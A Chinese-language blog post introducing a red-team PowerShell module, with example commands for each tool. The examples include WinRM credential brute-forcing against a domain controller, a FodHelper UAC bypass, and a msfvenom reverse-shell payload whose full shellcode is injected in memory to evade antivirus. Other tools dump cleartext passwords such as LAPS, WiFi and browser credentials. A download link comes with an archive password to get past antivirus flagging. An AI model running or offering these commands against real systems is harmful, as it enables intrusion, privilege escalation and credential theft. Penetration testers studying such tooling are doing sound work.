红队渗透测试PowerShell脚本 信息收集密码导出

红队渗透测试PowerShell脚本 信息收集密码导出

红队可能会使用PowerShell功能的收集命令来从计算机收集数据或访问目标。
我为RedTeamEnum模块中包含的命令添加了ps1文件。
如果您只需要一个命令,这将使您轻松找到并使用一个命令。
如果要整个模块在将RedTeamEnum目录和内容下载到设备后执行以下操作。

项目地址

GitHub: github.com/tobor88/PowerShell-Red-Team

C:\PS> robocopy .\RedTeamEnum $env:USERPROFILE\Documents\WindowsPowerShell\Modules\RedTeamEnum *
# 这将把模块复制到允许您轻松导入它的位置。如果你正在使用OneDrive同步,你可能需要使用 $env:USERPROFILE\OneDrive\Documents\WindowsPowerShell\Modules\RedTeamEnum instead.

C:\PS> Import-Module -Name RedTeamEnum -Verbose
# 这将导入模块中的所有命令。

C:\PS> Get-Command -Module RedTeamEnum
# 这将列出模块中的所有命令。

Convert-Base64.psm1是用于将文本编码/解码为Base64格式的函数。[不需要输入==]

C:\PS> Convert-Base64 -Value "需要base64加密的内容" -Encode

C:\PS> Convert-Base64 -Value "d3d3LmRkb3NpLmNvbQ" -Decode

Convert-SID.ps1是将SID值转换为用户名和将用户名转换为SID值的函数

C:\PS> Convert-SID -Username tobor
# 上面的示例将tobor转换为它的SID值

C:\PS> Convert-SID -SID S-1-5-21-2860287465-2011404039-792856344-500
# 上面的值将SID值转换为与其相关联的用户名

Test-BruteZipPassword 是一个使用密码文件暴力破解一个密码保护的zip文件工具.

C:\PS> Test-BruteForceZipPassword -PassFile 'C:\Users\USER\Downloads\Applications\pass.txt' -Path 'C:\Users\USER\Downloads\Applications\KiTTY.7z' -ZipExe 'C:\Program Files\7-Zip\7z.exe'
# 这个例子使用password.txt文件中的密码来破解受密码保护的KiTTY.7z文件

Test-BruteForceCredentials是一个使用WinRM强制使用用户密码的函数。

C:\PS> Test-BruteForceCredentials -ComputerName DC01.domain.com -UseSSL -Username 'admin','administrator' -Passwd 'Password123!' -SleepMinutes 5
# 这个示例将使用WinRM在HTTPS上对远程计算机DC01.domain.com上的管理员和管理员用户定义一个密码,每次尝试间隔5分钟

C:\PS> Test-BruteForceCredentials -ComputerName File.domain.com -UserFile C:\Temp\users.txt -PassFile C:\Temp\rockyou.txt 
# 这个示例将测试rock. txt中的每个密码和users.txt文件中的每个用户名,在尝试之间不会有任何停顿

Get-LdapInfo是一个令我非常自豪的用于执行一般LDAP查询的函数。尽管只有两个属性会显示在输出中,但是所有与object相关的属性都可以通过管道连接到Select-Object -Property *或使用-Detailed开关参数来查看。

C:\PS> Get-LdapInfo -Detailed -SPNNamedObjects
# 上面的代码返回对象的所有属性

C:\PS> Get-LdapInfo -DomainControllers | Select-Object -Property 'Name','ms-Mcs-AdmPwd'
# 如果它作为admin运行,它将返回本地管理帐户的LAPS密码

C:\PS> Get-LdapInfo -ListUsers | Where-Object -Property SamAccountName -like "user.samname"
# 注意:如果包含了“-Detailed”开关并将输出通过管道传输到where-object,那么它将不会返回任何属性。如果你想显示你的结果的所有属性,它将需要使用下面的格式执行

C:\PS> Get-LdapInfo -AllServers | Where-Object -Property LogonCount -gt 1 | Select-Object -Property * 

Get-NetworkShareInfo用于检索信息/暴力发现网络共享的cmdlet在远程或本地机器上是否可用

C:\PS> Get-NetworkShareInfo -ShareName C$
# 上面的示例返回关于本地机器上的共享C$的信息
#结果示例
Name         : C$
InstallDate  :
Description  : Default share
Path         : C:\
ComputerName : TOBORDESKTOP
Status       : OK

C:\PS> Get-NetworkShareInfo -ShareName NETLOGON,SYSVOL,C$ -ComputerName DC01.domain.com, DC02.domain.com, 10.10.10.1
# 上面的示例将分发并返回3个远程设备DC01、DC02和10.10.10.1上关于NETLOGON、SYSVOL和c$的信息

Test-PrivEsc是一个可以用来发现通过HTTP进行的WSUS更新是否容易受到PrivEsc的攻击,明文凭据存储在公共位置,始终安装高架容易受到PrivEsc的攻击,存在未引用的服务路径,以及可能的服务弱写权限的枚举。

C:\PS>Test-PrivEsc

Get-InitialEnum是一个枚举Windows操作系统的基础信息的工具,以帮助更好地显示可能存在的攻击点。

C:\PS> Get-InitialEnum

start simplehttpserver是一个用于托管用于下载文件的HTTP服务器的工具。它的意思是类似于python的SimpleHTTPServer模块。
目录不能通过web服务器遍历。将托管用于下载的文件将来自发出此命令时所在的当前目录。

C:\PS> Start-SimpleHTTPServer
在8000端口上打开HTTP服务器

#或者
C:\PS> Start-SimpleHTTPServer -Port 80
# 在80端口上打开HTTP服务器

Invoke-PortScan.ps1是一个用于扫描目标上所有可能的TCP端口的工具。我将在未来提高包括UDP以及定义一个端口范围的能力。这个实在不值得使用,因为它非常慢。线程是我的薄弱领域,我计划在这个方面努力。

C:\PS> Invoke-PortScan -IpAddress 192.168.0.1

Invoke-PingSweep是一个用于执行子网范围ping扫描的工具。

C:\PS> Invoke-PingSweep -Subnet 192.168.1.0 -Start 192 -End 224 -Source Singular
# 注意:只有IP源路由值为“Yes”时,源参数才有效。

C:\PS> Invoke-PingSweep -Subnet 10.0.0.0 -Start 1 -End 20 -Count 2
# count的默认值是1

C:\PS> Invoke-PingSweep -Subnet 172.16.0.0 -Start 64 -End 128 -Count 3 -Source Multiple

Invoke-UseCreds是我创建的一个用于简化渗透测试期间使用获得的凭证的过程的工具。
我使用-Passwd而不是-Password,因为在定义时该参数应该配置为一个安全字符串,而在使用此函数向该文件中输入值时则不是这样。在您设置该值之后,它将被转换为安全字符串。

#下面的命令将使用输入的凭证作为tobor用户打开msf.exe可执行文件
C:\PS> Invoke-UseCreds -Username 'OsbornePro\tobor' -Passwd 'P@ssw0rd1' -Path .\msf.exe -Verbose

nvoke-FodHelperBypass是一个它在执行UAC 绕过以提权之前测试它是否有效。
当然,这需要由本地administrators组的成员运行,因为这个旁路会提高您所在的shell的特权。你可以定义程序运行,这将允许你执行generaate msfvenom有效载荷以及cmd或powershell或只是发出命令。

C:\PS> Invoke-FodHelperBypass -Program "powershell" -Verbose 
# 或者  
C:\PS> Invoke-FodHelperBypass -Program "cmd /c msf.exe" -Verbose

Invoke-InMemoryPayload 是用于绕过杀毒软软件使用内存注入工具。
这将要求运行程序使用类似于下面示例的命令生成msfvenom有效负载,并将”[Byte[]] $buf”变量输入invoker – inmemorypayload “ShellCode”参数。

#生成要使用的payload
msfvenom -p windows/meterpreter/shell_reverse_tcp LHOST=192.168.137.129 LPORT=1337 -f powershell

启动一个侦听器,在“ShellCode”参数中使用该值,并运行该命令以获得您的shell。这还需要不启用某些内存保护。注意:在shell代码变量的值周围没有双引号。这是因为它需要一个字节数组。

C:\PS> Invoke-InMemoryPayload -Payload 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x0,0x0,0x0,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0xf,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x1,0xd0,0x8b,0x80,0x88,0x0,0x0,0x0,0x48,0x85,0xc0,0x74,0x67,0x48,0x1,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x1,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x1,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x3,0x4c,0x24,0x8,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x1,0xd0,0x66,0x41,0x8b,0xc,0x48,0x44,0x8b,0x40,0x1c,0x49,0x1,0xd0,0x41,0x8b,0x4,0x88,0x48,0x1,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x0,0x0,0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x1,0x0,0x0,0x49,0x89,0xe5,0x49,0xbc,0x2,0x0,0x5,0x39,0xc0,0xa8,0x89,0x81,0x41,0x54,0x49,0x89,0xe4,0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x7,0xff,0xd5,0x4c,0x89,0xea,0x68,0x1,0x1,0x0,0x0,0x59,0x41,0xba,0x29,0x80,0x6b,0x0,0xff,0xd5,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,0x89,0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0xf,0xdf,0xe0,0xff,0xd5,0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba,0x99,0xa5,0x74,0x61,0xff,0xd5,0x48,0x81,0xc4,0x40,0x2,0x0,0x0,0x49,0xb8,0x63,0x6d,0x64,0x0,0x0,0x0,0x0,0x0,0x41,0x50,0x41,0x50,0x48,0x89,0xe2,0x57,0x57,0x57,0x4d,0x31,0xc0,0x6a,0xd,0x59,0x41,0x50,0xe2,0xfc,0x66,0xc7,0x44,0x24,0x54,0x1,0x1,0x48,0x8d,0x44,0x24,0x18,0xc6,0x0,0x68,0x48,0x89,0xe6,0x56,0x50,0x41,0x50,0x41,0x50,0x41,0x50,0x49,0xff,0xc0,0x41,0x50,0x49,0xff,0xc8,0x4d,0x89,0xc1,0x4c,0x89,0xc1,0x41,0xba,0x79,0xcc,0x3f,0x86,0xff,0xd5,0x48,0x31,0xd2,0x48,0xff,0xca,0x8b,0xe,0x41,0xba,0x8,0x87,0x1d,0x60,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,0x6,0x7c,0xa,0x80,0xfb,0xe0,0x75,0x5,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x0,0x59,0x41,0x89,0xda,0xff,0xd5 -Verbose

Get-ClearTextPassword用于获取存储在设备上的缓存密码、注册表中的SNMP密码、自动登录密码和WiFi密码。只能从保存的位置提取当前用户的密码

Get-ClearTextPassword -All

上面的命令返回cmdlet能够返回的所有可能结果。个别位置也可以搜索。例如

Get-ClearTextPassword -AutoLogon

例如,可以在搜索中定义多个目标

Get-ClearTextPassword -WiFi -SNMP -Chrome -PasswordVault

PowerShell脚本下载地址

①GitHub: PowerShell-Red-Team.zip
②蓝奏云: waf.lanzoui.com/i2S37hyy8mf
③迅雷网盘: pan.xunlei.com 提取码 JEBU
④雨苁网盘: w.ddosi.workers.dev

[杀毒软件报毒,故设解压密码: www.ddosi.org ]

可能存在的问题

问题:

无法加载文件,因为在此系统上禁止运行脚本

解决方法:

管理员身份在powershell中输入以下命令

set-ExecutionPolicy RemoteSigned
Set-ExecutionPolicy Unrestricted
Set-ExecutionPolicy RemoteSigned -Scope CurrentUser

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用*标注